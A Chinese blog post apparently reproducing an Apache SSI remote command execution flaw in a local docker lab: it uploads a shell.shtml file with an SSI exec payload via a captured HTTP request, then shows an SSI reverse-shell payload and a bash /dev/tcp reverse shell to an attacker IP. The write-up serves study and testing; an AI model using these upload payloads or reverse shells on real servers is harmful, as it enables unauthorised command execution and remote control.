Apache SSI 远程命令执行漏洞

0x01漏洞概述

在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->语法执行任意命令。


0x02漏洞复现

(1)打开靶场环境

docker-compose up-d

(2) 访问漏洞地址

http://IP地址:8080/upload.php

 

(3) 将写好的shell.shtml文件,进行上传,并且利用burpsuite抓包。

shell.shtml文件如下:

<!--#exec cmd="ls" -->
POST /upload.php HTTP/1.1
Host: 192.168.207.132:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------352679218324923797792696282708
Content-Length: 251
Origin: http://192.168.207.132:8080
Connection: close
Referer: http://192.168.207.132:8080/upload.php
Upgrade-Insecure-Requests: 1

-----------------------------352679218324923797792696282708
Content-Disposition: form-data; name="file_upload"; filename="shell.shtml"
Content-Type: text/html

<!--#exec cmd="ls" -->
-----------------------------352679218324923797792696282708--

 (4)发送到重发器中,查看上传结果

响应包中显示上传成功!

(5)点击shell.shtml,并且进行抓包

访问页面如下:

 抓包结果如下:

 命令执行成功,查看到路径下的文件。

(7)也可以反弹shell

写一个反弹shell文件,命令如下:

<!--#exec cmd="bash -i >& /dev/tcp/10.222.23.99/7777 0>&1"-->

再次访问网站页面上传shell1.shtml

(8) 在攻击机上输入监听命令

 监听未成功。

(9)在docker容器内执行反弹shell命令

docker ps        #查看docker

docker exec -it (CONTAINER ID) bash

bash -i >& /dev/tcp/10.222.23.99/7777 0>&1    #执行反弹shell命令

反弹shell成功,结果图如下: 

(10) 关闭靶场环境

docker-compose down

 

posted @ 2022-05-15 11:59  RichardYg  阅读(110)  评论(0编辑  收藏  举报